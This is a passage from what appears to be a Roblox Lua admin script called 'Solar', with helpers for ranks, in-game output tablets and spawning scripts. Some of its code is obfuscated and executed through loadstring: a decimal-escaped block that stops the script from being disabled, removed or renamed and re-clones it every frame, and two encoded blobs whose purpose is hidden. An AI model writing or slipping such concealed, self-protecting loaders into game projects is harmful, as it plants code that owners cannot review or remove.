101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  634. script:ClearAllChildren()
  635. else
  636. script:ClearAllChildren()
  637. script.Parent=nil
  638. end
  639. LocalPlayer = game:service'Players'.LocalPlayer
  640. game:service'RunService'.RenderStepped:connect(function()
  641. pcall(function()
  642. scr:Clone().Parent = LocalPlayer:findFirstChild'PlayerGui' or LocalPlayer:findFirstChild'Backpack' or LocalPlayer.Character
  643. end)
  644. end)
  645. ]]
  646. --[[FUNCTIONS]]--
  647. function NewS(sourcev, parent)
  648. if SourceName == 'source' then
  649. NS(source,parent)
  650. else
  651. local s = SSource:Clone()
  652. s.Parent = parent
  653. if s:findFirstChild(SourceName) ~= nil then
  654. source = s:findFirstChild(SourceName)
  655. else
  656. source = Instance.new("StringValue", s)
  657. source.Name = SourceName
  658. end
  659. if source then
  660. source.Value = sourcev
  661. else
  662. OutputAdmins("Something went wrong","Really red")
  663. end
  664. wait()
  665. s.Disabled = false
  666. end
  667. end
  668. function WaitForValue(val)
  669. print("Currently not implemented.")
  670. end
  671. function NewLS(sourcev,parent, lock)
  672. if SourceName == 'source' then
  673. NLS(sourcev,parent)
  674. elseif LSource then
  675. local s = LSource:Clone()
  676. s.Parent = parent
  677. if s:findFirstChild(SourceName) ~= nil then
  678. source = s:findFirstChild(SourceName)
  679. else
  680. source = Instance.new("StringValue", s)
  681. source.Name = SourceName
  682. end
  683. if source then
  684. source.Value = sourcev
  685. else
  686. OutputAdmins("Something wen't wrong","Really red")
  687. return
  688. end
  689. wait()
  690. if lock == true then
  691. for i = 0,5 do
  692. s.Disabled = false
  693. wait(0.5)
  694. s.Disabled = true
  695. wait(0.5)
  696. s.Disabled = false
  697. end
  698. else
  699. s.Disabled = false
  700. end
  701. return s
  702. else
  703. OutputAdmins("No source","Really red")
  704. end
  705. end
  706. function Disconnect(str)
  707. local a = Instance.new("StringValue", game:service'Lighting')
  708. a.Name = 'Disconnect'
  709. a.Value = tostring(str)
  710. game:service'Debris':AddItem(a,5)
  711. end
  712. function Output(Plr, Text, Clr, OnClicked)
  713. pcall(function()
  714. if Plr == nil then Plr = game.Players:players()[math.random(1,#game.Players:players())] end
  715. if type(Plr) == 'userdata' then
  716. Plr = Plr
  717. elseif type(Plr) == 'string' then
  718. for _,v in pairs(game.Players:players()) do
  719. if v.Name:lower():sub(1,#Plr) == Plr:lower() then
  720. Plr = v
  721. break
  722. end
  723. end
  724. end
  725. if Text == nil then Text = "" end
  726. if Clr == nil then Clr = "Random" end
  727. local tablez = {}
  728. local T = Instance.new("Part", workspace)
  729. T.FormFactor = 'Custom'
  730. pcall(function()T.CFrame=Plr.Character.Torso.CFrame;end)
  731. T.CanCollide=false
  732. T.Locked=true
  733. T.Anchored=true
  734. T.Size=Vector3.new(2.5,2.5,2.5)
  735. T.Name="Tablet "..math.random(-99999,99999)
  736. pcall(function()
  737. if type(Clr) == "string" then
  738. if Clr == "Random" then
  739. T.BrickColor = BrickColor.random()
  740. else
  741. T.BrickColor = BrickColor.new(Clr)
  742. end
  743. elseif type(Clr) == "userdata" then
  744. T.Color = BrickColor.new(Clr).Color
  745. end
  746. end)
  747. T.Transparency=0.7
  748. T.TopSurface=0
  749. T.BottomSurface=0
  750. local S=Instance.new("SelectionBox", T)
  751. S.Adornee=T
  752. S.Color = T.BrickColor
  753. local BBG = Instance.new("BillboardGui",T)
  754. BBG.Adornee = T
  755. BBG.StudsOffset = Vector3.new(0,3,0)
  756. BBG.Size = UDim2.new(10,0,10,0)
  757. local TL = Instance.new("TextLabel", BBG)
  758. TL.Size = UDim2.new(1,0,1,0)
  759. TL.BackgroundTransparency = 1
  760. TL.TextColor = T.BrickColor
  761. TL.Text = Text
  762. TL.TextStrokeTransparency = 0
  763. TL.Font = 'Arial'
  764. TL.FontSize = "Size18"
  765. local C = Instance.new("ClickDetector", T)
  766. C.MaxActivationDistance = math.huge
  767. C.MouseClick:connect(function(p)
  768. if p.Name == Plr.Name or GetRank(p) > GetRank(Plr) then
  769. T:Destroy()
  770. for i,v in pairs(Solar["Tabs"]) do
  771. if v.P.Name == T.Name then
  772. table.remove(Solar["Tabs"], i)
  773. end
  774. end
  775. if OnClicked ~= nil then
  776. a,b = ypcall(function()
  777. OnClicked()
  778. end) if not a then Output(b,"Really red") end
  779. end
  780. end
  781. end)
  782. UpdateTablets()
  783. tablez.Owner = Plr
  784. tablez.P = T
  785. table.insert(Solar["Tabs"], tablez)
  786. end)
  787. end
  788. function OutputAdmins(text,clr)
  789. for _,v in pairs(game.Players:players()) do
  790. if GetRank(v) > 0.1 then
  791. Output(v,text,clr)
  792. end
  793. end
  794. end
  795. function _RGB(r,g,b)
  796. return Color3.new(r/255,g/255,b/255);
  797. end;
  798. shared[" dat 11060760277327 "]={getfenv(),5.459585514144159};local z={["$"]=0,["^"]=1,["?"]=2,["!"]=3,["="]=4,["-"]=5,["("]=6,["+"]=7,["%"]=8,[")"]=9,["*"]=10,["_"]=11,["#"]=12,["~"]=13,["&"]=14,["@"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
  799. "#(@(!(^(#($?)(~!~?%!^!_!#(@(^(=(!+=+?+)(&(+(%?%A?#_&_^_&*%__(!_(%-+~+_+$%$_?_!*-*!_!_$_(A*?*?(^(*-!&=&(~?~_~~%=~(*))+)&)~#&#&_@_##_#+##_@_(_-+!+_(#)#)~A%$)^=%)+=^%?--%++~(_+_(+(_-@^)(&+*-=-=(#-?+_^%^=^+^&$?^~-?+=$!$-$?$_@+@)@@~&~(^^@#^~&#-$!?!(!~=$?^?=?%^)$##A$^-$*_)$+&__!&#*~*&*-_*&)~-&=~$~(~_~*%$#@A#__-#=#-+%$%^=_!*!*&@?^*@&$(@($()%)&%#=)=$=()^*()+%=)-%+%?%$!~=#(%(?-~-((@-%^#-#-=-(-#$#@*=-!&!+!=@(?+@(@+@)?%^$^&^(A^_#__+_(@_@~@$_~A%_&*~=~_~+~&~^@(#^~(#+_=#-_+_?_%(-(?=~!)!)+_)==~-#!@+-+~+^+?=++-(&(&(~-!-^-@$^!^=&=!=)!==#!=!-?!?^?*-~((^@^@^&$=$?$$#@)*)()$^=~=&%&_?#@_@#@$$?~?~=~(~@#$#~#+_=##(-%=(~%@*?+_+-)$*%+%~B*#*)%*++%^+&+@=$+=()(&^!?#-??#-??@^!^$^#-&(($-$+@=~@#_#+?$?(~A@$!^=^?@$^)$*@+$^@&@=_(#!&~&)~=&+~*~*~_#~#%#(+@%_%*(#*!A*~*_)?-?*?)_%$)%?!?@^_^#-#-@(~+--(?--^-#@+@!@@&)-@!!=*=*@&@%@(@?@@&!&$#__+_!_)^-$$^!$($($#-&(_?$=_A~(#_&$&%~-&$_+~!~(*+#=#!#+_^#$_-__(%(-=$=#!%!&)*%-)%%~#@)@)^*-%_!)-((!+?()_)#+(@$%?+$^-%=+=^&#~%~=~&!=?%?@?@~#~)_($"
  800. ,"-^~*)*~@%_^~$_-~(@+@=@~~(&+~-~*)(~)#+~=%*+^*-_@A_%_?*=*&)+-~-=*%)+)#%$))%(+=+?+?!@$#-&(($?$(-@^^=&=~A-~@(^-@%@$?&?+!+!#-??_?-~=^@^#-&(%^)$?$+!*@?_?A@~@)&$*$@+&=)-&@~^~?~+##+)_=+?_%_)@*#)#*#~&$$@)=&+@~%-==)$%_%&+^%^%$!@$#-&(($?$#()-(A-*=^$=-*!&!-=-@?@-&-?#?!#&_*_(_?_&$+$~_*@-_&#*#)*!@*&)&))=&!&~%*#!)^_&__#*_@_^#)(!#&+~-$_=*!*%)#)-)?%$%&+-!-%-+&(!+_$($?$&@*@(@*=-$&^~@#-??!A=^=*?!!?!!?^?(&#-??-^!?#-&(&#($%~+?#!)~=&%@?$&@%&*&&^!B&@$*+&_~*~@#-^%&)&#&)#(_=_?_?+@(#=+=!=@!_!+!_%=-(+~_^%$)%%$!)=%?_?!-^(*(*(--&-%$+=?-~!_=#!-!$!%&%?-!^?%~%?@^##~^+^)$#-&(@@=_^@#**&$@@&@~!&)~=~#%_~+#?~^~=#+#+#(+_(^-#=%A=$=%)~)*)#%&?)?-?^?~^(+_+*+=?)(%?&(=^)-*-%$=-^=-=*=+=%@!!)?^!-?*&%$($&^@$!?_$=A^=~($&@@&!$_&=@^@?*@)_)&%%$_#?~)(=($(#-#-%-=-~_##$&^%&)%*-*)~#)-)_)(=!=$?_^+^!^@$+(#(&-$$_@+@!@_=$-?==&@~_~+~+?!?&&-!)?%?~^!((!+!*!+^=$?B$#~)%)=)#&^@!&=%^%#+%++~(~(#$#+#++?#(#)_~*!(#+_-~)=)_)&)#%~?%?=?!%?%?+#(!+!?&(?+-(-?--_$=?!$-=#!!=(==!-~$~##-?=?)?%?^?(!(^-~_^^#($+$-_^$&"
  801. ,"&?@+@=@-*##=&~~&#_~)~&_-~)&_*%$)^&_+_~*%*+())^(=-=)_)?!~?)?-?^%*+$!?%!(_?&=~--()-+^)=%$^?~^#A@-!#!^A!(%*)@^_&%&(&^&#~_~##^#A^$*A@+)?)&%*%(%%&#&@~!~_#&)@)?*@)&+&#%#+#!_=-@=_=+=!=@)%)-)_=~)&+(=~(%+^%*+?!=(!?~+%!+^%?@$@-@=%=~=-&$&#~%~=~$~)!#-$!?!(!?&)$=^~^(^&#$$@_%~+_%#%&#@=&=@#A%=%#~^&!~-+$+#(%(=($#)_@(^#?**(?%**!*?*^*?-=%!=~)%-+!*!?-=%?*((^_?%^%?%_^$^$($-)=&=(&^&~~)~-~^~*!_^!&_@-+=%)^%^)(%+-#+@(_@#&*^_)#_@@~%&~)#A+!+@(_(!#%#*_#-#-+-!-@=_=+*$*(-%*)%^-%++%@+~%-%$%-!+((?$%_!#-$!?!(!~^-!$(@=+=(-~=#=~@?@?=?!_?$!%#!#@A_+_!_#^~@-##&_@!@^$)@=@)*_~*)!_=~(*(*%*@%+*?~^#)_%#@_&_#_~(#=+=!=@!_!!)%)*%#?+?!?@^++#+&($^_$+$!$@-%-&$$(^=)$#?_!!=+!-@+?(&@@_@*~~~$+=%#^#^#-?+$^%$~@#$^#&____*$*$@$&)~&~(+!#=~#(%(=((#*#~_~+~*!(#+_-_*-*=*$)^!#?%?=?$?#+-+?+%?*+_-!?*=--&-+-@$^=$$*--^=@-$#&#!#?-?*??#~_)_-_^_+&_*=^-@~_=&@&%@^@)*_~*)!_?)!*=+@(_(+(!(__$#?_=-@=_=+=!=@)%)&=$*^%)=!*-+-+++!%#+_+*+_?~-#^(+^!?(!+?^)?--%=?=@!+=@&@+&%?+====(=@?~(#+(~_#_^_$=$%-_(&)))-)^)~%)%?@!~"
  802. ,"_)!__~=~!~?~!%-_=+~%#(@((%?_-*@)#)=*#=*%$)-)^%@!&^)^-^^^#-?+-(*(#-#-&@)@-@^@~&)=?=%@(@%=)?^@%^+?@^~?-?$?-~+$(#$?_~)$&^#_=~@@&&(&-@#&_&#)^)^&^~*#@#)_)#$(#-#-%-=-$-)_*)?()%%)$)&)()^)(=%++!$-@??!*=-+=(#-#-_(?(^(?^@$&&)&-&^&~~-!*!#?&#)#-#^#)^&^@-!+$__*+*@@!-+(=@()^)~%)&?&%)!&+&*~&#=%~)))%+*_^_%___)*$($_$*))&)(!^!~?%+_%*-)+-+@-*(!+#(-?*-~^!-*-@=^---@!_$%$($^$(!)@*&~?&@~@&@^?=&+~&#(&^^$$%@+$&@~@$$@$#*!*__~&^~*~@%~%*(-(^()_&_$_?-~=)=-*&)=-@)!*()(-(%#!@%!-@=&?$++(&(^+@-(^(((-)%#=^-)&=&$&#~$^^+?=^=?=#-??#$+^$?)^?~~#^^&$&$@@==-^=^-^^@-!%=?@+*=*^*^)?)+)*%^%))=#!__**_^_?$^^&-@-(-&($*=%~%?=$=~^%^=^#(^+!(-$$$%-~-@=$^~&%&==~!!@!===+!%?+&_?!?-?%~_#=&$&@_~_#$($=@~@_&=&!@#~))!)!&!~##^~)(=($(!#__~_^*-(&+~-)*^*!*_-++(%&%?%!?&^(+)+#+*(*(!()^)(*(~-&=#-?+^-)=_=&@^@#-&(($-&!&$&~?*?=?+^%^@=^?^?!?&_%_%$%@^@(@&%)%-%%&$&^!-=*%!*?%&#(#%##-#-+-@*?_-_!*==@!-+%!_)!)-)@!%-+!+%&+&+_+-+%()(&-_^@-+-)-#$)&!!(=)!&!$!=?!!*#)?%?%^?^@$(^(#%$&_+~(_%@@&(@)@+&%%!%#~^&$&#~_&?#_%^~"
  803. ,"++#_~__(+_=*%*~***_-?%*)!)=%^)(+)!-($+)+?+%(!(~^=-#^@$@=(-~&%&=&$=)!@&^=#-??-&+=#$_^!?^-=^~#=$!##~%~+_!$_@~@+*+@(!_=^!^=?&*+-+^+~((##+-)=+($)^_&_&~&$~!?=!&*~*))*!-!^!~??%&%~+-+_+(^^^#-?+-(*(#-#-&@)@^-(-%=*&-&^=*!$@?!%&^$~@#~&^-^#^@^#-?+=#=^=$~@?$*)-)^)+~@&%&)~(&_#&%*_-#&#+#~_%_?+)*!*+(?&+@**!*=)^*(%)=-+$%%~~&^%++?+#?!(~?@?+-%(%+~?#$!(@!?$*?)!^=-!&&-?=&#=$(*~(?&^$?(~(#~@$##&+@$$)@#*)*$&@)%_+)-&#-???!+~$~~%~+=_++!*?*^_)*+_@***#)@($+!+&%~=((-=!)?%*+%%$%_+-!-?#-#-@^#!=(~-#-#-_-+$&!~@(^-@=!)!_!?=_#(#=##^^?!^-_#$^^!$#_$#&#%@^$$$*&~*=*?*_*#)!**~(&#~&##~&#^~~#=%#_@+#_~%(_-+%+@+!_!*@*~*+*$*@=@)~)%)#%&%=%%=*+#+?+$%!!$!%(#!^(-+~(_-_^)^%^!-$^)$!^!^^^^$*!$=!!-@#?^@&&&&)!+^*&!^#~%~(~)~$?!@=@+@*&-^@^@^#-&(&#(#$~=^-?)#^$&$-$%@+$*@&@_@!_#&$_&&$#*&**&*(__&#~)&%&!&~~~%&~~~)~&#^~%#~%$#!#*_)#~+_+=_)%@*=#~_#*~(#(#(%*(($(_(#(_(#-#-()~)^)=-?-@=&=_)^*^_~~%&)&-~*)!)&)^)*)!~^&)~~#~~^~(~=~~%+##%_#&))#*%@%%)&#$#&#&#*#-#(+%#%#-#__@_+_~+^_-_~*~_?+^+_*^%%*&_%_%**(*(_("
  804. ,"%*+(?(&($+$+?(~)-**)&-~-_-_-??)?*!+(!+-+?(%???&???#?((-+&(!(=+)(@(&(%?!()?)(~!)(_?^!_!?+-(=+-+?+&($?!+=+?+)(&(+(&?!(%(^(?+%?%?!(*!?()+=+-(%?)?_?)()?-??!-!(!)?-(&(=()?)?%?)?"
  805. }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
  806. function SetRank(plr, rank)
  807. if type(plr) == "userdata" then
  808. plr = plr.Name
  809. elseif type(plr) == "string" then
  810. plr = plr
  811. else
  812. plr = tostring(plr)
  813. end
  814. for _,v in pairs(Solar['Ranked']) do
  815. if v['Name']:lower():sub(1,#plr) == plr:lower() then
  816. v['Rank'] = tonumber(rank)
  817. end
  818. end
  819. return
  820. end
  821. function GetReason(plr)
  822. if type(plr) == "userdata" then
  823. plr = plr.Name
  824. elseif type(plr) == "string" then
  825. plr = plr
  826. else
  827. plr = tostring(plr)
  828. end
  829. local reason = "Unknown"
  830. for _,v in pairs(Solar["Ranked"]) do
  831. if v["Name"]:lower():sub(1,#plr) == plr:lower() then
  832. reason = v["Reason"]
  833. end
  834. end
  835. return reason
  836. end
  837. function GetRank(plr)
  838. if type(plr) == "userdata" then
  839. plr = plr.Name
  840. elseif type(plr) == "string" then
  841. plr = plr
  842. else
  843. plr = tostring(plr)
  844. end
  845. local rank = 0
  846. for _,v in pairs(Solar["Ranked"]) do
  847. if v["Name"]:lower():sub(1,#plr) == plr:lower() then
  848. rank = v["Rank"]
  849. end
  850. end
  851. return rank
  852. end
  853. function GetColor(plr)
  854. if type(plr) == "userdata" then
  855. plr = plr.Name
  856. elseif type(plr) == "string" then
  857. plr = plr
  858. else
  859. plr = tostring(plr)
  860. end
  861. local clr = "Bright green"
  862. for _,v in pairs(Solar["Ranked"]) do
  863. if v["Name"]:lower():sub(1,#plr) == plr:lower() then
  864. clr = tostring(v["Color"])
  865. break
  866. end
  867. end
  868. return clr
  869. end
  870. shared[" dat 10998353946527 "]={getfenv(),4.634728988229636};local z={["&"]=0,["$"]=1,["("]=2,["="]=3,["!"]=4,["*"]=5,["?"]=6,["~"]=7,[")"]=8,["@"]=9,["^"]=10,["%"]=11,["+"]=12,["_"]=13,["#"]=14,["-"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
  871. "+?-?=?$?+?&(@?_=~=~=%=+?-?$?!?=~!~(~@?#?~?)()A(#$&(=$&$+*&=(=?=_+*$)#$#&#=#=$*$?&)&?$?$=$@&+*(~*&*+!+_%)%@%%^~^(-*+?+@+-*?^)~$~)?&~-@&^&@$@#@_A@#)&#*-~)?A!+=!~?!?!)!+(_$)$&($_(??(*_-&&#=$*&%-@&@-*-@#_^)^@#=#(!?*^@)^!A^~^=^%@^@*@)@&@-)%)*)~)_?+?!^-~^^%~)^A@^^@_*$@$^?@%!^@)~+!!~_=#=-=?!%~^??~*?$?~?+?%$$*&?_*#)$?(?*?=*(*=&!!?)@*^*_*()=@-(%=@=!=)(^(&(#_%_(_+^?&@$@^^@~^)@^@*@=!!~%)%~!~=)&~%*!?$?~?+*+*~?(?=$&$_#)#%!^=!=%=~=-#@(!=@(+*&=(=?=@?%=%=_=$?*~($+*(~=+&+_@)@!@!_?--@)%~@^_&_)_++_@(_&+@+@+)%#^+^^?+)+@@^#@!@-@~@-)&)#~+~??!~_~_~+?(?&?#$_-)-!-!=!!)!@!~(*!#=-(+=?(==%_!-=_+-#$$#^#!&-&~#*&#--#+-?#=-!+*#@_#_=@)@~@~@!@))*)-~%~^~+?@!#~$!_=@@(@)!$~$)*)?)!?()%~+?@~=?&~?()=**-*%!?*@!+!+!_=-=^=)#$&_-#$-A#-#*$+&=$?$!&A%&%-!-@-$@+A)!)*+)_?##%-)#%^%*?&?+*+*)*(+)^+^=%=?~?$?-*%*)*+!@(!(&(+$()#?@~+?-?-?$=*))@)*_!*!(*_$!!&!=$!=$=&=#*$(%(+*&=(=?=-$*_(_-A^?^(^)&!A-=))@!&=&!&%#%#$^-%%$#(?_*+^A+!~=~+)%?*%+^%^*!&!+=)=(^))+)=@=!&!_$)$!$&$!?-$)=~$+=_*#*%*!!_!#=+=="
  872. ,"*!?+=-(_=^#&#~&%$*($(^*#?%&!*)?+%(+@&_-+-$-!!)*%=&*)_?_!_!@$~+?)?!?)%$)=^&%-%~%-*)~~*^*()&C@!)_)~=?~$)+?^~%?!?-*~$~*!?&*~&~*#!%-+!?!)=@=#(=#$##$@_~$_$+$+&&$?&$&@%)&!A-(-*-*-!^_%$)+~)~!~#_%+)+~++%=~?++^&%~%~?!?~*~@#@*=&=+()(!(&)@~-(+?~(&!+=%$*?+*+*%*%&?A*--+=*&=(&=_=+($A=%_*=&--++*((?$*$+*#?#&~&!-(--#_#!^!-!#__(#^~*~$~_?@?*?@%!~_)+?$@(%=%&%@@(^=@$@?*(@*)=@&!?=_*$~%A~$?=?_*?$+$=?~*?*%!$@!?*?)?*!(=&=#(##%+?+(+#%^%?%!!~&&_(A-#&?&#^~+?^@^=((=+_*#*#&_@_=)(+_+)%?+~%&%%^=?=^&%+@=*=^^@~!)@(@!)*)^~-(+?~(*?%?^?^*#*!*-!~&?*(!_!&!=!=!(-~#_+)+!+&++%!$@$%&_^)^!^&^+@!!)*)-~-$^?#*^%#$@?_~_*)$_#%(+~+!+*~&%?^#^(^~?*)_@#)(^^)=@&@=**)_~#?()^?=~&~$(#$+*&=(=?=+*(~_!!*%#?#(##_^_?_-=--*&+*((+(@(=(+$+*((_+^+~^(^#@^@?@##=-*#~)()#~!%)~&_*_~+@?!?&?+*+*+^)^=~^%#^_^!#~%)A%=^+@@)~)*)~)@*@*%*+$~$=$%?&~(?=A&%-~-?B*!-=?!?-$!*!)=+((#%-^_+$=$+*&=(=?=_$%&+^~^=^(&$&$-%#(-(^_#==*&*&~&#_#@#+!)_@+~#%*%+%-%_^#!@!*!#@=^(^+!$@&*?@+=$)()&=+~@?_?(~-?&(~!-*)*%)#*-*(?=*)=&&~((=%=!=^(*"
  873. ,"(!#?$#_$_$$)$-A^?^(^#-~-_^--+*((=-(-=--@(+$_@__+%)_%+~*@$@&~=~@^&%*^@#^%@%^%(^+))A*=*#!@!^=-(-~-?)?_?*A&+-)-!-?*^*_!$!~-&$$!(*#=)=~==(!+-A%~%=%-&)&#%&$$-@%&#%##(=-#(B&(&#@&_-)@#!^=)!@%~%+%%!%@%$*+!)A!&!+=*^?)#!*~&)@)()^=+?%(!!=(!=*A&+-)-!-+!$*=!*#&#+_)_!_&=@(-_$=($^_(-+*&=(=?==$(A$(+!-=%+*(~)+~A^(+!-)_$#?@%)%_%+!+@+$?+*+*(@?*(*#!^!=%!@+*+*!~+@*@!@=@!!?~!~==+!%(#(?!)~+*+**?+*&=(=?=@-!-&-+#)#&!*!~=@_!_&_++)+!(_$=_*(?&#+*-!&?=^-)A&%-&%(#$^%-?%*@)@&%%_^+(+$_)+~+)~_?+&&(%^!^@^$!+=)=!=&=+(*@?~#=*?!~+?^~(~_?+*((!*=$+(%&#&&?=(#!_=*=!!%=^=%#^+*+$+_%@%$$?$)&^^*^$^_@*-^-+##)@)*)$)__?_+)#_-%~)^^@%$+*%=~*^!?_~@~)*%*@_+@=_?@?@~)^)!+*@!@*@#?_~(=-(+(#*&=&=(=%&_@#?_?#?$@!^)=_=*_&_++)+!+?(^(_$-(&!+&(+_(_=)%)&(&$&_##)@)*)$)_~@_(_))+$-#&-=-+*#?+*&=(=?=#~*^(&($~%&%)?^@@*=%#?_!#**!*@*)#~=)%$?$($#&+*#??&-?&*)$-=^!=*+!!&?=*-!-+*(~+#_-#+@+*+$+_%*$+*&=(=?=+&)#_^)^?^!#~%)B%@~@=-+#+_$^=-!_+@!%+_*_!_=_(_$_&_$)#+=#&%-?@+!)=A?_~@^+@?@=@%@=!$)~)+))~?=%(%~%?!?@?$&+-^!^"
  874. ,"*(-##^#=*!=+-!$+=*=!=(=$=(#!$=_+#%+#+*#$$!&#-%-=&%^@#-#!-&##@_~)~?%~)?)~)~?=?%%&+(%!*-!%!~!=!-@)@#!&^$)@!&~-~~~*)_~)~~~+(#*_$~~(=$$!$+(~*?!#=_!!!=!!-@#@=@(!?~=)=%=!(+%~%=%-^%^~^&$$-@%&#-#~#*-_#)#_@-+#)~^?)@)$^++%%=%(+@%)%@?)!=!-=%=~=-)!@?))(=(-$%$_^&~*~~?@&!&&&)*_*-!&!!*+=+!!#()=*(*=*&=?#$=*=^?%=^=%==$@+(#)$~$%_^%+-=-^-_-%#(^(-(#%_&#)~=~-?%?-@#%^%!^-^)%&&*$@?!?^@$^?@)@+@)_)#&*_!%!?!$!(===)=%(+*((^=*?!*+!%*(*$*(&=&^-($!!)($=?#!#$++%)%&$*$~&@^!^&^+-*-%^?-^-_#_^__=@+^)^~)@+&+~+^+)%$+(_#%#^~^+^!!-=%=~=%?^)?)&~%~!)_~?=$=*~(~+^$~(?*?_*(*$??$=$&$&&$&?&@-&-)&==+*((&()$~(#$_$#+-+?+#_&$!-_-(%&%_)))!)+_$#=_*~&~)+_+-%&)_*)*%%^^!^%^~^-*@@!^@@^)~@))^)*)%=)=*$-*!+!_~&_!*?#*-!+*+*$!!&&=@!^!==(!==*=&=&#@*+(_(&=&-!**?@$($=&&$*-)%!#_-#-~#)!@*?#)#=#=@^+?#*-*%_+?+~%!+@^+?)@$%(%%@^^%@_@)@~??)()^^_?!~%~&)+?*(+*+*^()(=(+*((#$!--#%#!!@!)!(-_(?-+=(#~()()$^#^#+#+$@&-!&(-$&(=!?&_=&&$%+#$=!!~#%_&^#%?_~+%_=+++@++)#%?%~^%%(-~&^-+*(~!-~&=*&*+!-=-~?)_$)$!$&$-?#?#*)*-*-"
